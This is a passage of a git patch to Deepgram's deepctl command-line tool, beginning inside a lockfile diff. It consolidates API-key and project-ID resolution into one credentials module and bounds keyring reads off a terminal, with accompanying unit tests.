-    { url = "https://files.pythonhosted.org/packages/38/02/eef443559563ef8f2e10469387b8b1e97cb5efee95b288a56da60801f7ee/yarl-1.25.1-cp315-cp315t-win_amd64.whl", hash = "sha256:b13b88747769537f3d32e89e3a735da10c0a9e35d7322928c701b5f93d3afffd", size = 106811, upload-time = "2026-09-15T19:34:54.935Z" },
-    { url = "https://files.pythonhosted.org/packages/88/91/41e284ca2cf5211e05dae031d126a3668aea88fa759df56e7e35c6ad25ba/yarl-1.25.1-cp315-cp315t-win_arm64.whl", hash = "sha256:783dd1467083f4d3f7722ad6a313f24c173e7571372738fcb7a6e6d1ba48df25", size = 101804, upload-time = "2026-09-15T19:34:57.231Z" },
-    { url = "https://files.pythonhosted.org/packages/54/22/318c7980066769c6bcd9221ed2248294f5698811da099013098c670565ed/yarl-1.25.1-py3-none-any.whl", hash = "sha256:681c758b0490f9e96b78e5fa8e8dc6e648e9185bb6eaebe73183c33ea0c445f3", size = 63617, upload-time = "2026-09-15T19:34:59.616Z" },
-]
-
 [[package]]
 name = "zipp"
 version = "4.1.0"

From b9d015a0b2a5aceba190b1e0c9f546d1e33a1072 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 18:34:54 -0400
Subject: [PATCH 29/88] feat(core): resolve credentials in one place

deepctl_core.credentials.resolve() decides the API key and project ID
for a run and says where each came from (key_source, profile_source,
untrusted_source). The AuthManager methods (get_api_key, get_project_id,
get_credential_source, is_authenticated, has_profile_credentials) answer
from it, once per run, and dg whoami takes its key source from it.

Precedence is 0.4.1's, unchanged. Because Config merges DEEPGRAM_API_KEY
into the active default profile, that is --api-key > keyring > env >
file for the default profile, and --api-key > keyring > file > env for
another profile.

User-visible changes:
- With no API key, commands return the coded auth_required error: a
  coded result on stdout under a machine format and two stderr lines
  (ERROR and HINT). The error text "DEEPGRAM_API_KEY is not set" is
  unchanged; the old two-line "not set in the configuration file ... Run
  deepctl login" message is replaced by the catalogue hint. When the
  only key was in a user config file an AI agent session doesn't trust,
  the error is E-KEY-UNTRUSTED with next_step null.
- A DEEPGRAM_API_KEY, DEEPGRAM_PROFILE, DEEPGRAM_PROJECT_ID or
  DEEPGRAM_BASE_URL that still holds an unexpanded ${...} placeholder is
  ignored, with one W-ENV-PLACEHOLDER warning naming the variable.
- Off a terminal (including MCP), a keyring read gets 2 s; when the
  keyring doesn't answer, dg uses the config file or the environment
  instead and prints one W-KEYRING-TIMEOUT warning. This covers dg
  whoami and dg profiles too. With --api-key the keyring isn't read or
  imported.
- "Using credentials from environment variables" now also appears when
  DEEPGRAM_API_KEY is the key in use; "No project ID specified" appears
  only for commands that need a project.
- Commands that use the key remove an expired credential's keyring
  entry, as in 0.4.1, but only when the expiry comes from a trusted user
  file. whoami, login's checks, is_authenticated() and
  has_profile_credentials() stay read-only, as in 0.4.1.
- auth_invalid's details.key_source comes from the same resolution, so
  the error path reads the keyring no second time.
- AuthManager builds its HTTP client on first use, and group commands
  get a lazy client, so `dg debug <sub> --help` loads no httpx or
  keyring.

The env-vs-stored mismatch check is implemented behind a constant that
stays off until login writes fingerprints.
---
 conftest.py                                   |  11 +
 .../src/deepctl_cmd_login/command.py          |  55 +-
 .../tests/unit/test_keyring_bound.py          | 146 ++++
 .../tests/unit/test_login_command.py          |  12 +-
 .../deepctl-core/src/deepctl_core/auth.py     | 396 ++++++-----
 .../src/deepctl_core/base_command.py          |  74 +-
 .../src/deepctl_core/base_group_command.py    |  34 +-
 .../src/deepctl_core/credentials.py           | 541 +++++++++++++++
 .../src/deepctl_core/transport.py             |  76 ++-
 packages/deepctl-core/tests/unit/test_auth.py |   5 +-
 .../tests/unit/test_auth_insecure.py          |   3 +-
 .../tests/unit/test_config_location.py        |  41 +-
 .../tests/unit/test_credentials.py            | 630 ++++++++++++++++++
 .../tests/unit/test_output_channels.py        |   3 +-
 src/deepctl/_cli.py                           |   6 +
 tests/unit/test_command_imports.py            |  14 +-
 16 files changed, 1741 insertions(+), 306 deletions(-)
 create mode 100644 packages/deepctl-cmd-login/tests/unit/test_keyring_bound.py
 create mode 100644 packages/deepctl-core/src/deepctl_core/credentials.py
 create mode 100644 packages/deepctl-core/tests/unit/test_credentials.py

diff --git a/conftest.py b/conftest.py
index 86d564bc..5ae8166f 100644
--- a/conftest.py
+++ b/conftest.py
@@ -88,3 +88,14 @@ def _restore_sigint():
     yield
     if before is not None:
         signal.signal(signal.SIGINT, before)
+
+
+@pytest.fixture(autouse=True)
+def _fresh_credentials_state():
+    """Forget per-process resolver state (placeholder warnings, a keyring
+    timeout) between tests, as each dg run starts without it."""
+    from deepctl_core import credentials
+
+    credentials._reset_for_tests()
+    yield
+    credentials._reset_for_tests()
diff --git a/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py b/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
index 32a369e5..fe486e01 100644
--- a/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
+++ b/packages/deepctl-cmd-login/src/deepctl_cmd_login/command.py
@@ -1531,12 +1531,10 @@ def handle(
 
             # Try to get API key from keyring to verify access
             try:
-                import keyring
-                from deepctl_core.auth import KEYRING_SERVICE
+                from deepctl_core import credentials
 
-                api_key = keyring.get_password(
-                    KEYRING_SERVICE, f"api-key.{switch_profile}"
-                )
+                # Bounded off a terminal (2 s); no answer counts as no entry.
+                api_key = credentials.keyring_get(f"api-key.{switch_profile}")
 
                 if not api_key:
                     # Check if API key is in config instead
@@ -1625,48 +1623,23 @@ def handle(
         **kwargs: Any,
     ) -> Any:
         """Handle whoami command."""
-        import os
-
-        import keyring as _keyring
-        from deepctl_core.auth import KEYRING_SERVICE
-
         if kwargs.get("profile"):
             config.profile = kwargs["profile"]
 
         profile_name = config.profile or "default"
         profile_cfg = config.get_profile(profile_name)
 
-        # Determine key and its exact storage source. Expired finite profile
-        # credentials must not mask a valid environment variable.
-        api_key: str | None = None
-        key_source = "not set"
-        env_key = os.environ.get("DEEPGRAM_API_KEY")
-        has_profile_key, _ = auth_manager.has_profile_credentials(profile_name)
-
-        if has_profile_key:
-            try:
-                api_key = _keyring.get_password(
-                    KEYRING_SERVICE, f"api-key.{profile_name}"
-                )
-                if api_key:
-                    key_source = "system keyring"
-            except Exception:
-                pass
-
-        if has_profile_key and not api_key and profile_cfg.api_key:
-            # Config merges DEEPGRAM_API_KEY into the profile at load time
-            # (environment overrides the file), so a profile key equal to the
-            # environment value came from the environment, not the config
-            # file — label it accordingly instead of claiming "config file".
-            api_key = profile_cfg.api_key
-            if env_key and profile_cfg.api_key == env_key:
-                key_source = "DEEPGRAM_API_KEY (env)"
-            else:
-                key_source = "config file"
-
-        if not api_key and env_key:
-            api_key = env_key
-            key_source = "DEEPGRAM_API_KEY (env)"
+        # The key and its exact storage source, from the one resolver (its
+        # key_source uses these same words): one bounded keyring read, and an
+        # expired finite profile credential doesn't mask the environment's.
+        # Like before, --api-key isn't a storage source here. Read-only, as in
+        # 0.4.2: an expired credential's keyring entry stays (prune=False).
+        resolved = auth_manager.resolve(
+            profile=profile_name, use_flags=False, prune=False
+        )
+        api_key = resolved.api_key
+        key_source = resolved.key_source
+        has_profile_key = resolved.profile_has_key
 
         authenticated = auth_manager.is_authenticated()
         masked: str | None = None
diff --git a/packages/deepctl-cmd-login/tests/unit/test_keyring_bound.py b/packages/deepctl-cmd-login/tests/unit/test_keyring_bound.py
new file mode 100644
index 00000000..790c1ddb
--- /dev/null
+++ b/packages/deepctl-cmd-login/tests/unit/test_keyring_bound.py
@@ -0,0 +1,146 @@
+"""Whoami, profiles --switch and profiles --list read the keyring
+through the resolver's bound (2 s off a terminal), not directly."""
+
+from __future__ import annotations
+
+import os
+import sys
+import threading
+import time
+from unittest.mock import MagicMock
+
+import pytest
+import yaml
+from deepctl_core import auth as auth_module
+from deepctl_core import config as config_module
+from deepctl_core import credentials, hosts, output
+from deepctl_core.auth import AuthManager
+from deepctl_core.config import Config
+
+pytestmark = pytest.mark.skipif(
+    not sys.platform.startswith("linux"), reason="XDG layout (Linux)"
+)
+
+
+class HangingKeyring:
+    def __init__(self) -> None:
+        self.release = threading.Event()
+        self.reads = 0
+
+    def get_password(self, service: str, username: str) -> str | None:
+        self.reads += 1
+        self.release.wait(10)
+        return "k" * 40
+
+
+@pytest.fixture
+def setup(tmp_path, monkeypatch):
+    monkeypatch.setattr(config_module, "_pending_notices", [])
+    monkeypatch.setattr(config_module, "_seen_notices", set())
+    monkeypatch.setattr(hosts, "_reported", set())
+    home = tmp_path / "home"
+    (home / ".config" / "deepctl").mkdir(parents=True)
+    cfg = home / ".config" / "deepctl" / "config.yaml"
+    cfg.write_text(
+        yaml.safe_dump(
+            {"profiles": {"default": {"project_id": "p"}, "work": {"api_key": "w" * 40}}}
+        )
+    )
+    os.chmod(cfg, 0o600)
+    monkeypatch.setattr(config_module, "_real_home", lambda: str(home))
+    monkeypatch.setenv("HOME", str(home))
+    monkeypatch.delenv("XDG_CONFIG_HOME", raising=False)
+    monkeypatch.setenv("DEEPGRAM_API_KEY", "e" * 40)
+    monkeypatch.setattr(output, "is_ai_agent", lambda: False)
+    monkeypatch.setattr(output.stderr_console, "_width", 400)
+    monkeypatch.setattr(credentials, "KEYRING_BOUND_S", 0.3)
+    monkeypatch.setattr(credentials, "_interactive", lambda: False)
+    kr = HangingKeyring()
+    monkeypatch.setattr(auth_module, "keyring", kr, raising=False)
+    yield kr
+    kr.release.set()
+
+
+def _timed(fn):
+    started = time.monotonic()
+    result = fn()
+    return result, time.monotonic() - started
+
+
+def test_whoami_is_bounded(setup, capsys):
+    from deepctl_cmd_login.command import WhoamiCommand
+
+    config = Config()
+    result, took = _timed(
+        lambda: WhoamiCommand().handle(config, AuthManager(config), MagicMock())
+    )
+    assert took < 5.0  # the keyring hangs until the test ends
+    assert result.key_source == "DEEPGRAM_API_KEY (env)"
+    assert result.authenticated is True
+    assert setup.reads == 1  # one bounded read, then cached
+    assert capsys.readouterr().err.count("keyring didn't answer") == 1
+
+
+def test_profiles_switch_is_bounded(setup, monkeypatch):
+    from deepctl_cmd_login.command import ProfilesCommand
+
+    config = Config()
+    monkeypatch.setattr(config, "save", lambda *a, **k: None)
+    result, took = _timed(
+        lambda: ProfilesCommand().handle(
+            config, AuthManager(config), MagicMock(), switch="work"
+        )
+    )
+    assert took < 5.0  # the keyring hangs until the test ends
+    assert result.status != "error"  # fell back to the profile's file key
+
+
+def test_profiles_list_is_bounded(setup):
+    config = Config()
+    result, took = _timed(lambda: AuthManager(config).list_profiles())
+    assert took < 5.0  # the keyring hangs until the test ends
+    # A timeout falls back to the file, like a keyring error did in 0.4.2.
+    assert result.profiles["work"].api_key == "****" + "w" * 4
+
+
+def test_whoami_leaves_an_expired_entry_alone(tmp_path, monkeypatch):
+    """Whoami is read-only, as in 0.4.2; key_source unchanged."""
+    from deepctl_cmd_login.command import WhoamiCommand
+
+    monkeypatch.setattr(config_module, "_pending_notices", [])
+    monkeypatch.setattr(config_module, "_seen_notices", set())
+    home = tmp_path / "home"
+    (home / ".config" / "deepctl").mkdir(parents=True)
+    cfg = home / ".config" / "deepctl" / "config.yaml"
+    cfg.write_text(
+        yaml.safe_dump(
+            {"profiles": {"default": {"dg_token_expires_at": "2020-01-01T00:00:00+00:00"}}}
+        )
+    )
+    os.chmod(cfg, 0o600)
+    monkeypatch.setattr(config_module, "_real_home", lambda: str(home))
+    monkeypatch.setenv("HOME", str(home))
+    monkeypatch.delenv("XDG_CONFIG_HOME", raising=False)
+    monkeypatch.setenv("DEEPGRAM_API_KEY", "e" * 40)
+    monkeypatch.setattr(output, "is_ai_agent", lambda: False)
+
+    class Recording:
+        def __init__(self) -> None:
+            self.entries = {"api-key.default": "k" * 40}
+            self.calls: list[str] = []
+
+        def get_password(self, service, username):
+            self.calls.append("get")
+            return self.entries.get(username)
+
+        def delete_password(self, service, username):
+            self.calls.append("delete")
+            self.entries.pop(username, None)
+
+    kr = Recording()
+    monkeypatch.setattr(auth_module, "keyring", kr, raising=False)
+    config = Config()
+    result = WhoamiCommand().handle(config, AuthManager(config), MagicMock())
+    assert result.key_source == "DEEPGRAM_API_KEY (env)"
+    assert "delete" not in kr.calls
+    assert kr.entries == {"api-key.default": "k" * 40}
diff --git a/packages/deepctl-cmd-login/tests/unit/test_login_command.py b/packages/deepctl-cmd-login/tests/unit/test_login_command.py
index e63fa16d..f487a58e 100644
--- a/packages/deepctl-cmd-login/tests/unit/test_login_command.py
+++ b/packages/deepctl-cmd-login/tests/unit/test_login_command.py
@@ -552,16 +552,18 @@ def whoami_command(self):
         return WhoamiCommand()
 
     def _run(self, whoami_command, mock_config, mock_client, env, profile_key):
-        auth_manager = Mock(spec=AuthManager)
-        auth_manager.get_project_id.return_value = "proj-1"
-        auth_manager.has_profile_credentials.return_value = (bool(profile_key), False)
-        auth_manager.is_authenticated.return_value = bool(profile_key or env)
+        # Whoami takes the key and its source from the resolver, so
+        # this runs the real AuthManager over the mocked config and keyring.
         mock_config.get_profile.return_value.api_key = profile_key
+        mock_config.get_profile.return_value.project_id = "proj-1"
         mock_config.get_profile.return_value.dg_token_expires_at = None
+        keyring = Mock()
+        keyring.get_password.return_value = None
         with (
             patch.dict("os.environ", env, clear=False),
-            patch("keyring.get_password", return_value=None),
+            patch("deepctl_core.auth.keyring", keyring, create=True),
         ):
+            auth_manager = AuthManager(mock_config)
             if "DEEPGRAM_API_KEY" not in env:
                 import os
 
diff --git a/packages/deepctl-core/src/deepctl_core/auth.py b/packages/deepctl-core/src/deepctl_core/auth.py
index 03044105..2463a8d6 100644
--- a/packages/deepctl-core/src/deepctl_core/auth.py
+++ b/packages/deepctl-core/src/deepctl_core/auth.py
@@ -3,14 +3,15 @@
 import os
 import time
 import webbrowser
+from collections.abc import Callable
 from dataclasses import dataclass
 from datetime import datetime, timedelta, timezone
-from typing import TYPE_CHECKING, Any
+from typing import TYPE_CHECKING, Any, TypeVar, cast
 from urllib.parse import urlsplit
 
 from pydantic import BaseModel, field_validator
 
-from . import hosts, output
+from . import credentials, hosts, output, transport
 from . import messages as msg
 from .client import _split_base_url
 from .config import Config
@@ -24,12 +25,16 @@
     import httpx  # noqa: TC004
     import keyring  # noqa: TC004
 
-# httpx and keyring load when the first AuthManager is built, not when this
-# module is imported (every command module imports it). _load_modules()
-# binds them as module globals; __getattr__ makes `deepctl_core.auth.keyring`
-# the real module before that, so tests can patch it as before.
+# httpx and keyring load when they're first used, not when this module is
+# imported (every command module imports it) or an AuthManager is built
+# (every command builds one). __getattr__ binds them as module globals on
+# first access, so `deepctl_core.auth.keyring` is the real module and tests
+# can patch it as before. The keyring is read through
+# deepctl_core.credentials, which bounds the read off a terminal.
 _LAZY_MODULES = ("httpx", "keyring")
 
+_F = TypeVar("_F", bound=Callable[..., Any])
+
 
 def _bind_module(name: str) -> Any:
     import importlib
@@ -48,8 +53,8 @@ def __getattr__(name: str) -> Any:
         return _bind_module(name)
 
 
-def _load_modules() -> None:
-    for name in _LAZY_MODULES:
+def _load_modules(*names: str) -> None:
+    for name in names or _LAZY_MODULES:
         if name not in globals():
             _bind_module(name)
 
@@ -205,6 +210,54 @@ def __init__(self, host: str) -> None:
         self.host = host
 
 
+def _forgets_resolved(method: _F) -> _F:
+    """Forget cached credential answers once ``method`` has written the keyring
+    or a profile (also when it fails part-way), so later questions see the
+    new state."""
+    import functools
+
+    @functools.wraps(method)
+    def wrapper(self: Any, *args: Any, **kwargs: Any) -> Any:
+        try:
+            return method(self, *args, **kwargs)
+        finally:
+            self._forget_resolved()
+
+    return cast("_F", wrapper)
+
+
+class AuthRequiredError(transport.TransportError, AuthenticationError):
+    """``auth_required``: no API key is set (``E-AUTH-REQUIRED``), or the only
+    one was in a user config file this AI agent session doesn't trust
+    (``E-KEY-UNTRUSTED``).
+
+    A :class:`~deepctl_core.transport.TransportError`, so ``BaseCommand``
+    renders the coded result, and an :class:`AuthenticationError`, so code
+    that caught ``guard()``'s error before 0.5.0 still does.
+    """
+
+    def __init__(self, untrusted_source: str | None = None) -> None:
+        if untrusted_source is None:
+            super().__init__("auth_required", {}, {})
+        else:
+            super().__init__(
+                "auth_required",
+                {"user_config": untrusted_source},
+                {},
+                transport.KEY_UNTRUSTED,
+            )
+
+
+class _NoFlags:
+    """A credentials context without ``--api-key`` and ``--project-id``."""
+
+    explicit_api_key = None
+    explicit_project_id = None
+
+    def __init__(self, config: Config) -> None:
+        self.config = config
+
+
 class AuthManager:
     """Cross-platform authentication manager."""
 
@@ -221,23 +274,103 @@ def __init__(
             explicit_api_key: Explicitly provided API key (e.g., from CLI flags)
             explicit_project_id: Explicitly provided project ID (e.g., from CLI flags)
         """
-        _load_modules()
         self.config = config
         self.explicit_api_key = explicit_api_key
         self.explicit_project_id = explicit_project_id
-        # DEEPGRAM_CLI_INSECURE=1 skips TLS verification for localhost,
-        # 127.0.0.1 and [::1] (local dev), never for any other host and never
-        # in an AI agent session: the agent may have set it. Proxy settings
-        # from the environment still apply to every other host.
-        if _insecure_allowed():
-            self.client = httpx.Client(
-                timeout=30.0,
-                verify=True,
-                mounts=_insecure_mounts(),
-                event_hooks={"request": [_warn_if_verified]},
+        # One credential resolution per question set (deepctl_core.credentials);
+        # forgotten whenever this manager writes the keyring or a profile.
+        self._resolved: dict[tuple[Any, ...], credentials.Resolved] = {}
+        # Keyring entries this manager already removed (expired credentials).
+        self._pruned: set[str] = set()
+        self._client: httpx.Client | None = None
+
+    @property
+    def client(self) -> "httpx.Client":
+        """The HTTP client for login's device flow and key verification.
+
+        Built on first use, so no other command makes a second client; API
+        requests use the shared one (``deepctl_core.transport``).
+        """
+        if self._client is None:
+            _load_modules("httpx")
+            # DEEPGRAM_CLI_INSECURE=1 skips TLS verification for localhost,
+            # 127.0.0.1 and [::1] (local dev), never for any other host and
+            # never in an AI agent session: the agent may have set it. Proxy
+            # settings from the environment still apply to every other host.
+            if _insecure_allowed():
+                self._client = httpx.Client(
+                    timeout=30.0,
+                    verify=True,
+                    mounts=_insecure_mounts(),
+                    event_hooks={"request": [_warn_if_verified]},
+                )
+            else:
+                self._client = httpx.Client(timeout=30.0, verify=True)
+        return self._client
+
+    @client.setter
+    def client(self, value: "httpx.Client | None") -> None:
+        self._client = value
+
+    @client.deleter
+    def client(self) -> None:
+        self._client = None
+
+    def resolve(
+        self,
+        *,
+        profile: str | None = None,
+        ignore_env: bool = False,
+        need_key: bool = True,
+        use_flags: bool = True,
+        prune: bool = True,
+    ) -> credentials.Resolved:
+        """This run's credentials and their sources (``credentials.resolve``).
+
+        ``use_flags=False`` answers as if no ``--api-key`` or
+        ``--project-id`` had been given (the stored-profile questions).
+        ``prune=False`` keeps it read-only (introspection: whoami, login's
+        checks); answers are cached either way, so one run resolves once.
+        """
+        ctx: Any = self if use_flags else _NoFlags(self.config)
+        name = profile or credentials.profile_name(self.config)[0]
+        stored = self.config.get_profile(name)
+        state = (
+            name,
+            ignore_env,
+            ctx.explicit_api_key,
+            ctx.explicit_project_id,
+            stored.api_key,
+            stored.project_id,
+            stored.dg_token_expires_at,
+        )
+        # A full answer also answers the project-only question.
+        found = self._resolved.get((True, *state))
+        if found is None and not need_key:
+            found = self._resolved.get((False, *state))
+        if found is None:
+            found = credentials.resolve(
+                ctx,
+                profile=profile,
+                ignore_env=ignore_env,
+                need_key=need_key,
+                prune=False,
             )
-        else:
-            self.client = httpx.Client(timeout=30.0, verify=True)
+            self._resolved[(need_key, *state)] = found
+        # Project-only questions (need_key=False) never touch the keyring.
+        if (
+            prune
+            and need_key
+            and found.prune_target
+            and found.prune_target not in self._pruned
+        ):
+            self._pruned.add(found.prune_target)
+            credentials.prune_expired(found)
+        return found
+
+    def _forget_resolved(self) -> None:
+        self._resolved.clear()
+        self._pruned.clear()
 
     def check_base_url(self) -> str:
         """Return the base URL credentials may be sent to.
@@ -253,8 +386,8 @@ def has_env_credentials(self) -> tuple[bool, bool]:
         Returns:
             Tuple of (has_api_key, has_project_id)
         """
-        return bool(os.getenv("DEEPGRAM_API_KEY")), bool(
-            os.getenv("DEEPGRAM_PROJECT_ID")
+        return bool(credentials.env_value("DEEPGRAM_API_KEY")), bool(
+            credentials.env_value("DEEPGRAM_PROJECT_ID")
         )
 
     def has_profile_credentials(
@@ -262,35 +395,17 @@ def has_profile_credentials(
     ) -> tuple[bool, bool]:
         """Check if profile has stored credentials.
 
+        As in 0.4.2, a profile key is a usable keyring entry or a key in the
+        profile as the config holds it (which includes ``DEEPGRAM_API_KEY``).
+
         Args:
             profile_name: Profile to check (uses current profile if not specified)
 
         Returns:
             Tuple of (has_api_key, has_project_id)
         """
-        profile_name = profile_name or self.config.profile or "default"
-
-        # Check keyring for a direct API key.
-        has_api_key = False
-        expired, _ = self._credential_expiry(profile_name)
-        if not expired:
-            try:
-                has_api_key = bool(
-                    keyring.get_password(KEYRING_SERVICE, f"api-key.{profile_name}")
-                )
-            except Exception:
-                pass
-
-            # If not in keyring, check config.
-            if not has_api_key:
-                profile = self.config.get_profile(profile_name)
-                has_api_key = bool(profile.api_key)
-
-        # Check for project ID in profile
-        profile = self.config.get_profile(profile_name)
-        has_project_id = bool(profile.project_id)
-
-        return has_api_key, has_project_id
+        resolved = self.resolve(profile=profile_name, use_flags=False, prune=False)
+        return resolved.profile_has_key, resolved.profile_has_project
 
     def is_authenticated(self, check_profile_only: bool = False) -> bool:
         """Check if user is authenticated.
@@ -298,24 +413,23 @@ def is_authenticated(self, check_profile_only: bool = False) -> bool:
         Args:
             check_profile_only: If True, only check profile credentials, not env vars
         """
-        # Check explicit credentials first (highest priority)
         if self.explicit_api_key:
             return True
-
-        # Check profile credentials
-        profile_name = self.config.profile or "default"
-        has_profile_key, _ = self.has_profile_credentials(profile_name)
-        if has_profile_key:
+        resolved = self.resolve(use_flags=False, prune=False)
+        if resolved.profile_has_key:
             return True
-
-        # Check environment variables (unless checking profile only)
-        return not check_profile_only and bool(os.getenv("DEEPGRAM_API_KEY"))
+        return not check_profile_only and bool(
+            credentials.env_value("DEEPGRAM_API_KEY")
+        )
 
     def is_ci_mode(self) -> bool:
         """Check if running in CI mode (credentials from environment)."""
         # If both API key and project ID are provided via environment,
         # we're in CI mode
-        return bool(os.getenv("DEEPGRAM_API_KEY") and os.getenv("DEEPGRAM_PROJECT_ID"))
+        return bool(
+            credentials.env_value("DEEPGRAM_API_KEY")
+            and credentials.env_value("DEEPGRAM_PROJECT_ID")
+        )
 
     def get_api_key(self, ignore_env: bool = False) -> str | None:
         """Get API key following precedence: explicit > profile > env.
@@ -327,74 +441,20 @@ def get_api_key(self, ignore_env: bool = False) -> str | None:
         Args:
             ignore_env: If True, don't check environment variables
         """
-        # Explicit credentials (--api-key flag, CI/CD) bypass the JWT flow.
-        if self.explicit_api_key:
-            return self.explicit_api_key
-
-        profile_name = self.config.profile or "default"
-        current_profile = self.config.get_profile(profile_name)
-
-        expired, expiry_error = self._credential_expiry(profile_name)
-        if not expired:
-            # Profile keyring entry, followed by its config-file fallback.
-            try:
-                api_key = keyring.get_password(
-                    KEYRING_SERVICE, f"api-key.{profile_name}"
-                )
-                if api_key:
-                    return api_key
-            except Exception:
-                pass
-
-            if current_profile.api_key:
-                return current_profile.api_key
-        else:
-            self._delete_keyring_credential(f"api-key.{profile_name}")
-
-        # Environment variable — lowest priority.
-        if not ignore_env:
-            api_key = os.getenv("DEEPGRAM_API_KEY")
-            if api_key:
-                return api_key
-
-        if expiry_error:
-            raise AuthenticationError(expiry_error)
-
+        resolved = self.resolve(ignore_env=ignore_env)
+        if resolved.api_key:
+            return resolved.api_key
+        if resolved.expiry_error:
+            raise AuthenticationError(resolved.expiry_error)
         return None
 
     def _credential_expiry(self, profile_name: str) -> tuple[bool, str | None]:
         """Return whether a finite profile credential is unusable and why."""
-        expires_at = self.config.get_profile(profile_name).dg_token_expires_at
-        if not isinstance(expires_at, str):
-            return False, None
-
-        try:
-            parsed_expiry = datetime.fromisoformat(expires_at)
-            if parsed_expiry.tzinfo is None:
-                raise ValueError
-        except (TypeError, ValueError):
-            return (
-                True,
-                "Your Deepgram credential expiry is invalid. Run `dg login` again.",
-            )
-
-        if parsed_expiry <= datetime.now(timezone.utc):
-            return True, "Your Deepgram credential has expired. Run `dg login` again."
-
-        return False, None
+        return credentials.credential_expiry(self.config, profile_name)
 
     def _delete_keyring_credential(self, keyring_key: str) -> None:
         """Remove a credential when present without masking keyring failures."""
-        from keyring.errors import PasswordDeleteError
-
-        try:
-            keyring.delete_password(KEYRING_SERVICE, keyring_key)
-        except PasswordDeleteError:
-            pass
-        except Exception as exc:
-            console.print(
-                f"[yellow]Warning:[/yellow] Could not remove legacy credential: {exc}"
-            )
+        credentials.keyring_delete(keyring_key)
 
     def get_project_id(self, ignore_env: bool = False) -> str | None:
         """Get project ID following precedence: explicit > profile > env.
@@ -402,23 +462,7 @@ def get_project_id(self, ignore_env: bool = False) -> str | None:
         Args:
             ignore_env: If True, don't check environment variables
         """
-        # Explicit credentials have highest priority
-        if self.explicit_project_id:
-            return self.explicit_project_id
-
-        # Check profile next
-        profile_name = self.config.profile or "default"
-        current_profile = self.config.get_profile(profile_name)
-        if current_profile.project_id:
-            return current_profile.project_id
-
-        # Environment variable has lowest priority
-        if not ignore_env:
-            project_id = os.getenv("DEEPGRAM_PROJECT_ID")
-            if project_id:
-                return project_id
-
-        return None
+        return self.resolve(ignore_env=ignore_env, need_key=False).project_id
 
     def get_credential_source(self) -> str:
         """Get a description of where credentials are coming from.
@@ -429,16 +473,18 @@ def get_credential_source(self) -> str:
         if self.explicit_api_key or self.explicit_project_id:
             return "explicit flags"
 
-        profile_name = self.config.profile or "default"
-        has_profile_key, has_profile_project = self.has_profile_credentials(
-            profile_name
-        )
-
-        if has_profile_key or has_profile_project:
-            return f"profile '{profile_name}'"
-
-        has_env_key, has_env_project = self.has_env_credentials()
-        if has_env_key or has_env_project:
+        # The real source: a profile key equal to DEEPGRAM_API_KEY came from
+        # the environment (Config merges it into the profile).
+        resolved = self.resolve()
+        if resolved.key_source in (
+            credentials.KEY_SOURCE_KEYRING,
+            credentials.KEY_SOURCE_FILE,
+        ) or (resolved.project_source == "profile"):
+            return f"profile '{resolved.profile}'"
+        if (
+            resolved.key_source == credentials.KEY_SOURCE_ENV
+            or resolved.project_source == "env"
+        ):
             return "environment variables"
 
         return "no credentials"
@@ -454,6 +500,7 @@ def verify_api_key(
         Returns:
             Tuple of (success, message, error_type)
         """
+        _load_modules("httpx")
         if not api_key:
             api_key = self.get_api_key()
 
@@ -520,6 +567,7 @@ def verify_credentials(
             - error_type: 'auth' for API key issues, 'project' for project ID
               issues, None if successful
         """
+        _load_modules("httpx")
         # Use provided credentials or get from storage
         if not api_key:
             api_key = self.get_api_key()
@@ -582,38 +630,26 @@ def guard(self) -> None:
         """Check that an API key is available, without sending it anywhere.
 
         Refuses first, before reading any key, when the base URL isn't
-        trusted with credentials. The key itself is checked by the command's
-        own request: a 401 or 403 there becomes ``auth_invalid`` or
-        ``auth_forbidden`` (see ``deepctl_core.transport``). Project ID
-        validation is handled separately by requires_project on BaseCommand.
+        trusted with credentials. With no key, raises :class:`AuthRequiredError`
+        (``auth_required``), which ``BaseCommand`` renders; the key itself
+        is checked by the command's own request: a 401 or 403 there becomes
+        ``auth_invalid`` or ``auth_forbidden`` (see ``deepctl_core.transport``).
+        Project ID validation is handled separately by requires_project on
+        BaseCommand.
         """
         self.check_base_url()
-        api_key = self.get_api_key()
-
-        if not api_key and getattr(self.config, "api_key_untrusted", False) is True:
+        # Raises the expiry error when a stored credential expired and
+        # nothing else is set, as before.
+        if self.get_api_key():
+            return
+        resolved = self.resolve()
+        if resolved.untrusted_source:
             # The file's key was left unused (W-PERM-AGENT / W-CFG-UNTRUSTED):
             # say so, and send the agent to a person, not to dg login.
-            from rich.markup import escape
-
-            text = msg.E_KEY_UNTRUSTED.format(
-                user_config=msg.display_path(self.config.config_path)
-            )
-            output.print_error(escape(text))
-            output.print_hint(msg.W_CFG_UNTRUSTED_FILE_HINT)
-            raise AuthenticationError(text)
-        if not api_key:
-            console.print(
-                "[red]Error:[/red] DEEPGRAM_API_KEY is not set in the "
-                "configuration file "
-                f"({self.config.config_path}) or environment variable.\n"
-            )
-            console.print(
-                "[yellow]Run[/yellow] [bold]deepctl login[/bold] "
-                "[yellow]to configure the CLI with your Deepgram "
-                "account.[/yellow]\n"
-            )
-            raise AuthenticationError("DEEPGRAM_API_KEY is not set")
+            raise AuthRequiredError(untrusted_source=resolved.untrusted_source)
+        raise AuthRequiredError()
 
+    @_forgets_resolved
     def login_with_api_key(
         self, api_key: str, project_id: str | None = None, _force_write: bool = False
     ) -> None:
@@ -651,6 +687,7 @@ def login_with_api_key(
             console.print(f"[green]✓[/green] {message}")
 
         # Store API key in keyring for security
+        _load_modules("keyring")
         profile_name = self.config.profile or "default"
         keyring_available = False
         # Nothing goes to the keyring when the profile can't be saved.
@@ -753,6 +790,7 @@ def _request_device_code(
         Returns:
             DeviceCodeResponse with device code and verification URI
         """
+        _load_modules("httpx")
         payload = {
             "client_id": CLIENT_ID,
             "hostname": DEVICE_NAME,
@@ -796,6 +834,7 @@ def poll_device_token(
         and no device name is sent. Network errors are raised
         (``httpx.RequestError``).
         """
+        _load_modules("httpx")
         base = identity_url or check_identity_host(self.config)
         response = self.client.post(
             f"{base}/token",
@@ -845,6 +884,7 @@ def _poll_for_token(
         identity_url: str | None = None,
     ) -> TokenResponse:
         """Poll for token using device code until approved, denied or expired."""
+        _load_modules("httpx")
         console.print("\n[blue]Waiting for authentication...[/blue]")
 
         start_time = time.time()
@@ -886,6 +926,7 @@ def _poll_for_token(
 
         raise AuthenticationError("Authentication timed out")
 
+    @_forgets_resolved
